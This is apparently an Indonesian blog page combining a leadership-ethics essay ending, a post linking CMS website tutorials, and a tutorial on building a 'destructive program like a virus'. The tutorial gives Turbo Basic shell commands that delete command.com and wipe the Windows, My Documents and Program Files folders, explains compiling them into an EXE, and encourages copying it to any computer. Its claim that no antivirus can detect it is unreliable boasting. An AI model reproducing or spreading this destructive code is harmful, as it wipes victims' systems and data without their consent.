Pada kesimpulannya,untuk mencapai matlamat sesebuah organisasi seorang pemimpin perlu mempunyai nilai dan etika di mana ia perlu merumus,memperjelas dan menghayati budaya kerja di dalam organisasi.Pemimpin itu juga mesti peka bagi menjadi teladan kepada ahlinya dan memperkukuhkan amalan dan budaya kerja cemerlang.Justeru itu, panduan nilai dan etika perlu di rangka bagi pemimpin tersebut supaya dapat membawa organisasinya ke arah mencapai matlamat kecemerlangan yang di inginkan.Sesungguhnya,pemimpin memainkan peranan utama dalam pengurusan organisasi untuk mencapai matlamat dalam erti kata sebenarnya.Kepimpinan merupakan unsur dalaman dan kerohanian merupakan faktor utama yang menyenpurnakan faktor-faktor lain ke arah mencapai matlamat kecemerlangan organisasi.Akhir kata,kejayaan kecemerlangan organisasi bergantung kepada pemimpin yang menyelia dan memberi perkhidmatan yang berkualiti dan menerapkan nilai-nilai murni di dalam organisasi.

Tugas Manajemen

Posted by : Unknown on :Rabu, 06 Januari 2010 With 0komentar

Cara membuat Website

| Jumat, 01 Januari 2010
Baca selengkapnya »
Sekarang siapa sih yang gak tau website, website sekarang udah mulai di kenal di masyarakat luas, contoh website yang paling banyak di ketahui adalah facebook, kaskus, twitter, google dll.
Website yang ada pada umumnya sangat beragam, ada sosial networking seperti facebook, forum diskusi seperti kaskus, weblog/blog seperti hasiaulia.net :) , toko online seperti amazon dsb.
Sekarang membuat website sendiri sudah sangat mudah, karena kita dapat membuat website sendiri dengan menggunakan CMS (Content Management System), jadi dengan CMS kita dapat mengelola sebuah website dengan mudah.
untuk membuat website sendiri diperlukan tutorial membuat website, agar kita  dapat dipandu dari awal hingga akhir sehingga proses membuat website tidak sulit, dan bisa dilakukan dengan beberapa jenis CMS, tergantung website apa yang ingin kita buat.
Ok, kali ini saya akan memberikan tutorial tentang cara membuat website dengan menggunakan beberapa CMS.

1. Cara membuat website sejenis blog dapat kita lakukan dengan menggunakan CMS wordpress, dan untuk tutorial nya dapat kita lihat DISINI, pada link tersebut di berikan tutorial mengenai cara membuat blog mulai dari cara yang mudah sampai ke yang rumit.
2. Cara membuat website dengan joomla, dengan CMS ini kita dapat membuat website dengan beragam jenis, seperti toko online, forum diskusi, web komunitas, blog dll, namun pada tutorial yang saya berikan hanya akan membahas tentang cara membuat website toko online, tutorial nya bisa di download disini.
3. Dan yang ketiga adalah cara membuat website forum diskusi, untuk cara membuat website forum diskusi dapat dilihat pada link ini.
Mungkin tadi adalah kumpulan tutorial membuat website sendiri yang paling banyak diminati, dan kalo mau belajar membuat website tanpa menggunakan CMS dapat di baca keterangan nya disini.
Tadi adalah rangkuman dari beberapa tutorial yang pernah saya buat. Tujuan nya supaya orang yang mencari tentang “tutorial cara membuat website” di google semoga tergiring kesini, jadi bisa langsung dapet 3 tutorial :) .
Semoga kumpulan tutorial tadi dapat membantu :) .

Cara membuat Website

Posted by : Unknown on :Jumat, 01 Januari 2010 With 0komentar

Cara membuat program perusak (Seperti Virus)

|
Baca selengkapnya »

Membuat program perusak (seperti virus) merupakan keinginan sebagian para pemula komputer, tapi bagaimana mereka bisa membuat kalau mereka tidak tahu bahasa pemograman sama sekali, anda jangan resah untuk masalah ini karena saat ini penulis akan mengajarkan anda cara membuat program perusak (virus) yang sangat sederhana sekali tapi sangat mematikan bahkan bisa dikatakan lebih mengerikan dari program perusak manapun.
Pertama kali skill yang anda butuhkan adalah dasar DOS, tanpa ini anda akan sulit untuk berkreasi dalam membuat program ini tapi jika anda tidak tahu dasar perintah DOS maka anda cukup copy paste saja, bahasa pemograman yang akan kita pakai adalah Turbo Basic v1.0, anda dapat mendownloadnya di Google.
Diatas adalah tampilan Turbo Basic, jika anda buta pemograman Turbo Basic maka anda masuk ke Edit lalu anda tulis Source Code program perusak.
shell "Perintah DOS"
dengan diawali kata shell maka anda dapat menjalankan perintah DOS pada program, misal anda membuat :
shell "c:"
shell "cd\"
shell "del command.com"

Diatas adalah contoh menghapus DOS pada DOS Classic, Windows 95/98 sehingga pengguna komputer tidak dapat booting, kita contohkan yang lain.
shell "c:"
shell "cd\"
shell "deltree /y mydocu~1"
shell "deltree /y windows"
shell "deltree /y progra~1"

Diatas adalah contoh menghapus Directory My Document, WIndows dan Program FIles, sangat fatal bukan ?
Setelah anda selesai membuat programnya maka anda save dahulu, caranya pilih File lalu Save lalu beri nama filenya misal VIRUS.BAS, setelah itu baru kita mengcompile source code tadi, caranya pilih Options lalu pilih Compile to EXE file, setelah itu masuk ke pilihan compile lalu anda enter, maka source code tersebut akan menjadi file EXE.
Jika file EXE tersebut dijalankan maka komputer anda akan menjalankan perintah DOS pada program, dari tutorial diatas, anda dapat berkreasi sendiri bagaimana virus buatan anda dapat berjalan sesuai dengan anda inginkan, perlu diketahui bahwa TIDAK ADA SATU ANTIVIRUS DIDUNIA INI DAPAT MENDETEKSI PROGRAM INI ADALAH VIRUS jadi anda bebas mengcopykan program ini ke komputer manapun yang anda suka kecuali komputer berbasis non DOS atau Windows, hehe
Tujuan dari tutorial ini adalah agar kita lebih waspada terhadap berbagai file dengan ekstensi *.exe meskipun file *.exe tersebut 100% dinyatakan bebas virus dari berbagai jenis Antivirus.

*Segala kesalahan error / kerusakan pada komputer dan semacamnya adalah tanggung jawab anda !
*Semua yang anda pelajari dan anda lakukan adalah sepenuhnya tanggung jawab anda tanpa kecuali (termasuk member)

Cara membuat program perusak (Seperti Virus)

Posted by : Unknown on : With 0komentar
Next Prev
▲Top▲